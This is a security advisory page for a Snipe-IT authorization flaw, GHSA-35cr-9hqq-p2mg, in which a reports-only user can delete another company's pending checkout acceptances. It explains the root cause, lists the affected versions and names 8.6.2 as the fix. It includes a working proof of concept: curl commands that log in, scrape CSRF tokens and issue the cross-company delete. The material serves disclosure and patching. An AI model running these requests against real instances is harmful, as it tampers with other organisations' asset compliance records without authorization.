GIVE YOUR AGENT THE EVIDENCE

Set up in your agent.

One prompt to get started. Paste it into your coding agent to connect cve.new through MCP and bring vulnerability context into your workflow.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GIVE YOUR AGENT THE EVIDENCE

Investigate in your agent.

Turn this advisory into a focused investigation. Ask your agent to check your project’s versions, explain the evidence, and suggest a compatible fix.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

cve.new
GHSA-35cr-9hqq-p2mgmedium5.0

Snipe-IT: Cross-company deletion of pending checkout acceptances via unscoped report endpoint

Check your stack

The advisory, in context

Impact

A user with the reports.view permission can delete pending checkout acceptance records by global ID, even when the acceptance belongs to an asset in another company.

The report listing page appears to scope visible unaccepted assets, but the delete endpoint directly looks up CheckoutAcceptance::pending()->find($acceptanceId) and deletes it without checking whether the current user has access to the related checkoutable asset.

Preconditions

The attacker needs:

  • A valid authenticated web session.
  • reports.view permission.
  • Knowledge or guessability of a pending checkout_acceptances.id.

The attacker does not need access to the asset/company associated with the target acceptance.

Root cause

The delete action authorizes only report access, then deletes a pending acceptance by global ID:


$this->authorize('reports.view');

$acceptance = CheckoutAcceptance::pending()->find($acceptanceId);

$acceptance->delete();

The code does not check whether the current user can access the acceptance’s related checkoutable asset/accessory/license/etc. In multi-company mode, this allows a reports user from one company to delete acceptance records belonging to another company.

Proof of concept

Target acceptance belongs to Company B

The target pending acceptance was identified as id=1.

snipe_sql "SELECT ca.id ca.checkoutable_id, ca.deleted_at, a.asset_tag, a.company_id
FROM checkout_acceptances ca
JOIN assets a ON a.id = ca.checkoutable_id
WHERE ca.id=$ACCEPTANCE_B_ID;"

Observed result:

{
    "id": 1,
    "checkoutable_id": 2,
    "deleted_at": null,
    "asset_tag": "LAB-B-42445107",
    "company_id": 3
}

This shows the pending acceptance belongs to asset 2, which is in Company B.

Attacker user belongs to Company A

The attacker account was reporter_a, assigned to Company A with only report viewing permission:

{
    "id": 3,
    "username": "reporter_a",
    "company_id": 2,
    "permissions": {
        "reports.view": 1
    }
}

Login as Company A reports user

curl -sS -c /tmp/snipe_cookie.txt "$BASE/login" -o /tmp/snipe_login.html

LOGIN_CSRF=$(grep -oP 'name="_token" value="\K[^"]+' /tmp/snipe_login.html)

curl -sS -i -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \
  -X POST "$BASE/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "_token=$LOGIN_CSRF" \
  --data-urlencode "username=reporter_a" \
  --data-urlencode "password=password"

Observed response:

Location: http://localhost:8000/

Fetch report CSRF token

curl -sS -L -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \
  "$BASE/reports/unaccepted_assets" \
  -o /tmp/unaccepted.html \
  -w "\nHTTP=%{http_code} URL=%{url_effective}\n"


CSRF=$(grep -oP 'name="csrf-token" content="\K[^"]+' /tmp/unaccepted.html)

echo "CSRF=$CSRF"

Observed result:

HTTP=200 URL=http://localhost:8000/reports/unaccepted_assets
CSRF=aRwAVRk5sPLdl7Pbw8vCQJRXN9vTqxVilkgH8JkU

Delete Company B acceptance as Company A reporter

curl -i -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \
  -X POST "$BASE/reports/unaccepted_assets/$ACCEPTANCE_B_ID/delete" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "_token=$CSRF" \
  --data-urlencode "_method=DELETE"

Observed response:

HTTP/1.1 302 Found
Location: http://localhost:8000/reports/unaccepted_assets

Final state

snipe_sql "SELECT id, checkoutable_id, deleted_at
FROM checkout_acceptances
WHERE id=$ACCEPTANCE_B_ID;"

Observed result:

{
    "id": 1,
    "checkoutable_id": 2,
    "deleted_at": "2026-06-12 04:30:00"
}

This confirms that reporter_a from Company A deleted a pending acceptance for Company B’s asset.

Security impact

This is a cross-company authorization bypass affecting checkout acceptance integrity. An attacker with report access can:

  • Delete pending acceptance records for assets they cannot access.
  • Suppress evidence that a user has not accepted custody or terms.
  • Interfere with asset handoff/compliance workflows.
  • Tamper with another company’s pending acceptance queue.

This is not intended functionality because the application should enforce company scope on destructive actions, not only on report display.

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

Ecosystem versions

Earlier releases before 8.6.2

Fixed in 8.6.2

278 explicitly affected versions

3.2.0, v0.1.0, v0.1.1, v0.1.2, v0.2.0, v0.3.0-alpha, v0.3.10-alpha, v0.3.11-alpha, v0.3.7-alpha, v0.3.8-alpha, v0.3.9-alpha, v1.0, v1.1, v1.2.0, v1.2.1, v1.2.10, v1.2.11, v1.2.2, v1.2.3, v1.2.3-beta, v1.2.4, v1.2.4-beta, v1.2.5, v1.2.6, v1.2.6-beta, v1.2.6.1, v1.2.7, v1.2.7-beta, v1.2.8, v1.2.9, v2.0, v2.0-RC-1, v2.0-beta, v2.0.1, v2.0.2, v2.0.3, v2.0.4, v2.0.5, v2.0.6, v2.1.0, v2.1.1, v2.1.2, v3.0, v3.0-alpha, v3.0-alpha2, v3.0-beta.1, v3.0-beta.2, v3.0-beta.3, v3.0.0-beta, v3.1.0, v3.3.0, v3.3.0-beta, v3.4, v3.4.0-alpha, v3.4.0-beta, v3.5.0, v3.5.0-beta, v3.5.0-beta2, v3.5.1, v3.5.2, v3.6.0, v3.6.1, v3.6.2, v3.6.3, v3.6.4, v3.6.5, v3.6.6, v4-beta3, v4-beta4, v4.0, v4.0-alpha, v4.0-alpha-2, v4.0-beta, v4.0-beta2, v4.0-beta5, v4.0-beta6, v4.0.1, v4.0.10, v4.0.11, v4.0.12, v4.0.13, v4.0.14, v4.0.15, v4.0.2, v4.0.3, v4.0.4, v4.0.5, v4.0.6, v4.0.7, v4.0.8, v4.0.9, v4.1.0, v4.1.0-beta, v4.1.0-beta2, v4.1.1, v4.1.10, v4.1.11, v4.1.12, v4.1.13, v4.1.14, v4.1.2, v4.1.3, v4.1.4, v4.1.5, v4.1.6, v4.1.7, v4.1.8, v4.1.9, v4.2.0, v4.3.0, v4.4.0, v4.4.1, v4.5.0, v4.6.0, v4.6.1, v4.6.10, v4.6.11, v4.6.12, v4.6.13, v4.6.14, v4.6.15, v4.6.16, v4.6.17, v4.6.18, v4.6.2, v4.6.3, v4.6.4, v4.6.5, v4.6.6, v4.6.7, v4.6.8, v4.6.9, v4.7.0, v4.7.1, v4.7.2, v4.7.3, v4.7.4, v4.7.5, v4.7.6, v4.7.7, v4.7.8, v4.8.0, v4.9.0, v4.9.1, v4.9.2, v4.9.3, v4.9.4, v4.9.5, v5.0.0, v5.0.0-beta-1.0, v5.0.0-beta-1.1, v5.0.0-beta-2, v5.0.0-beta-3.0, v5.0.0-beta-4, v5.0.0-beta-5, v5.0.1, v5.0.10, v5.0.11, v5.0.12, v5.0.2, v5.0.3, v5.0.4, v5.0.5, v5.0.6, v5.0.7, v5.0.8, v5.0.9, v5.1.0, v5.1.1, v5.1.2, v5.1.3, v5.1.4, v5.1.5, v5.1.6, v5.1.7, v5.1.8, v5.2.0, v5.3.0, v5.3.1, v5.3.10, v5.3.2, v5.3.3, v5.3.4, v5.3.5, v5.3.6, v5.3.7, v5.3.8, v5.3.9, v5.4.0, v5.4.1, v5.4.2, v5.4.3, v5.4.4, v6.0.0, v6.0.0-RC-1, v6.0.0-RC-2, v6.0.0-RC-3, v6.0.0-RC-4, v6.0.0-RC-5, v6.0.0-RC-6, v6.0.0-RC-7, v6.0.0-RC-8, v6.0.1, v6.0.10, v6.0.11, v6.0.12, v6.0.13, v6.0.14, v6.0.2, v6.0.3, v6.0.4, v6.0.5, v6.0.6, v6.0.7, v6.0.8, v6.0.9, v6.1.0, v6.1.1, v6.1.2, v6.2.0, v6.2.1, v6.2.2, v6.2.3, v6.3.0, v6.3.1, v6.3.2, v6.3.3, v6.3.4, v6.4.0, v6.4.1, v6.4.2, v7.0.0, v7.0.1, v7.0.10, v7.0.11, v7.0.12, v7.0.13, v7.0.2, v7.0.3, v7.0.4, v7.0.5, v7.0.6, v7.0.7, v7.0.8, v7.0.9, v7.1.14, v7.1.15, v7.1.16, v7.1.17, v8.0.0, v8.0.1, v8.0.2, v8.0.3, v8.0.4, v8.1.0, v8.1.1, v8.1.15, v8.1.16, v8.1.17, v8.1.18, v8.1.2, v8.1.3, v8.1.4, v8.2.0, v8.2.1, v8.3.0, v8.3.1, v8.3.2, v8.3.3, v8.3.4, v8.3.5, v8.3.6, v8.3.7, v8.4.0, v8.4.1, v8.5.0, v8.6.0, v8.6.1

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "0"
        },
        {
          "fixed": "8.6.2"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "3.2.0",
    "v0.1.0",
    "v0.1.1",
    "v0.1.2",
    "v0.2.0",
    "v0.3.0-alpha",
    "v0.3.10-alpha",
    "v0.3.11-alpha",
    "v0.3.7-alpha",
    "v0.3.8-alpha",
    "v0.3.9-alpha",
    "v1.0",
    "v1.1",
    "v1.2.0",
    "v1.2.1",
    "v1.2.10",
    "v1.2.11",
    "v1.2.2",
    "v1.2.3",
    "v1.2.3-beta",
    "v1.2.4",
    "v1.2.4-beta",
    "v1.2.5",
    "v1.2.6",
    "v1.2.6-beta",
    "v1.2.6.1",
    "v1.2.7",
    "v1.2.7-beta",
    "v1.2.8",
    "v1.2.9",
    "v2.0",
    "v2.0-RC-1",
    "v2.0-beta",
    "v2.0.1",
    "v2.0.2",
    "v2.0.3",
    "v2.0.4",
    "v2.0.5",
    "v2.0.6",
    "v2.1.0",
    "v2.1.1",
    "v2.1.2",
    "v3.0",
    "v3.0-alpha",
    "v3.0-alpha2",
    "v3.0-beta.1",
    "v3.0-beta.2",
    "v3.0-beta.3",
    "v3.0.0-beta",
    "v3.1.0",
    "v3.3.0",
    "v3.3.0-beta",
    "v3.4",
    "v3.4.0-alpha",
    "v3.4.0-beta",
    "v3.5.0",
    "v3.5.0-beta",
    "v3.5.0-beta2",
    "v3.5.1",
    "v3.5.2",
    "v3.6.0",
    "v3.6.1",
    "v3.6.2",
    "v3.6.3",
    "v3.6.4",
    "v3.6.5",
    "v3.6.6",
    "v4-beta3",
    "v4-beta4",
    "v4.0",
    "v4.0-alpha",
    "v4.0-alpha-2",
    "v4.0-beta",
    "v4.0-beta2",
    "v4.0-beta5",
    "v4.0-beta6",
    "v4.0.1",
    "v4.0.10",
    "v4.0.11",
    "v4.0.12",
    "v4.0.13",
    "v4.0.14",
    "v4.0.15",
    "v4.0.2",
    "v4.0.3",
    "v4.0.4",
    "v4.0.5",
    "v4.0.6",
    "v4.0.7",
    "v4.0.8",
    "v4.0.9",
    "v4.1.0",
    "v4.1.0-beta",
    "v4.1.0-beta2",
    "v4.1.1",
    "v4.1.10",
    "v4.1.11",
    "v4.1.12",
    "v4.1.13",
    "v4.1.14",
    "v4.1.2",
    "v4.1.3",
    "v4.1.4",
    "v4.1.5",
    "v4.1.6",
    "v4.1.7",
    "v4.1.8",
    "v4.1.9",
    "v4.2.0",
    "v4.3.0",
    "v4.4.0",
    "v4.4.1",
    "v4.5.0",
    "v4.6.0",
    "v4.6.1",
    "v4.6.10",
    "v4.6.11",
    "v4.6.12",
    "v4.6.13",
    "v4.6.14",
    "v4.6.15",
    "v4.6.16",
    "v4.6.17",
    "v4.6.18",
    "v4.6.2",
    "v4.6.3",
    "v4.6.4",
    "v4.6.5",
    "v4.6.6",
    "v4.6.7",
    "v4.6.8",
    "v4.6.9",
    "v4.7.0",
    "v4.7.1",
    "v4.7.2",
    "v4.7.3",
    "v4.7.4",
    "v4.7.5",
    "v4.7.6",
    "v4.7.7",
    "v4.7.8",
    "v4.8.0",
    "v4.9.0",
    "v4.9.1",
    "v4.9.2",
    "v4.9.3",
    "v4.9.4",
    "v4.9.5",
    "v5.0.0",
    "v5.0.0-beta-1.0",
    "v5.0.0-beta-1.1",
    "v5.0.0-beta-2",
    "v5.0.0-beta-3.0",
    "v5.0.0-beta-4",
    "v5.0.0-beta-5",
    "v5.0.1",
    "v5.0.10",
    "v5.0.11",
    "v5.0.12",
    "v5.0.2",
    "v5.0.3",
    "v5.0.4",
    "v5.0.5",
    "v5.0.6",
    "v5.0.7",
    "v5.0.8",
    "v5.0.9",
    "v5.1.0",
    "v5.1.1",
    "v5.1.2",
    "v5.1.3",
    "v5.1.4",
    "v5.1.5",
    "v5.1.6",
    "v5.1.7",
    "v5.1.8",
    "v5.2.0",
    "v5.3.0",
    "v5.3.1",
    "v5.3.10",
    "v5.3.2",
    "v5.3.3",
    "v5.3.4",
    "v5.3.5",
    "v5.3.6",
    "v5.3.7",
    "v5.3.8",
    "v5.3.9",
    "v5.4.0",
    "v5.4.1",
    "v5.4.2",
    "v5.4.3",
    "v5.4.4",
    "v6.0.0",
    "v6.0.0-RC-1",
    "v6.0.0-RC-2",
    "v6.0.0-RC-3",
    "v6.0.0-RC-4",
    "v6.0.0-RC-5",
    "v6.0.0-RC-6",
    "v6.0.0-RC-7",
    "v6.0.0-RC-8",
    "v6.0.1",
    "v6.0.10",
    "v6.0.11",
    "v6.0.12",
    "v6.0.13",
    "v6.0.14",
    "v6.0.2",
    "v6.0.3",
    "v6.0.4",
    "v6.0.5",
    "v6.0.6",
    "v6.0.7",
    "v6.0.8",
    "v6.0.9",
    "v6.1.0",
    "v6.1.1",
    "v6.1.2",
    "v6.2.0",
    "v6.2.1",
    "v6.2.2",
    "v6.2.3",
    "v6.3.0",
    "v6.3.1",
    "v6.3.2",
    "v6.3.3",
    "v6.3.4",
    "v6.4.0",
    "v6.4.1",
    "v6.4.2",
    "v7.0.0",
    "v7.0.1",
    "v7.0.10",
    "v7.0.11",
    "v7.0.12",
    "v7.0.13",
    "v7.0.2",
    "v7.0.3",
    "v7.0.4",
    "v7.0.5",
    "v7.0.6",
    "v7.0.7",
    "v7.0.8",
    "v7.0.9",
    "v7.1.14",
    "v7.1.15",
    "v7.1.16",
    "v7.1.17",
    "v8.0.0",
    "v8.0.1",
    "v8.0.2",
    "v8.0.3",
    "v8.0.4",
    "v8.1.0",
    "v8.1.1",
    "v8.1.15",
    "v8.1.16",
    "v8.1.17",
    "v8.1.18",
    "v8.1.2",
    "v8.1.3",
    "v8.1.4",
    "v8.2.0",
    "v8.2.1",
    "v8.3.0",
    "v8.3.1",
    "v8.3.2",
    "v8.3.3",
    "v8.3.4",
    "v8.3.5",
    "v8.3.6",
    "v8.3.7",
    "v8.4.0",
    "v8.4.1",
    "v8.5.0",
    "v8.6.0",
    "v8.6.1"
  ]
}

References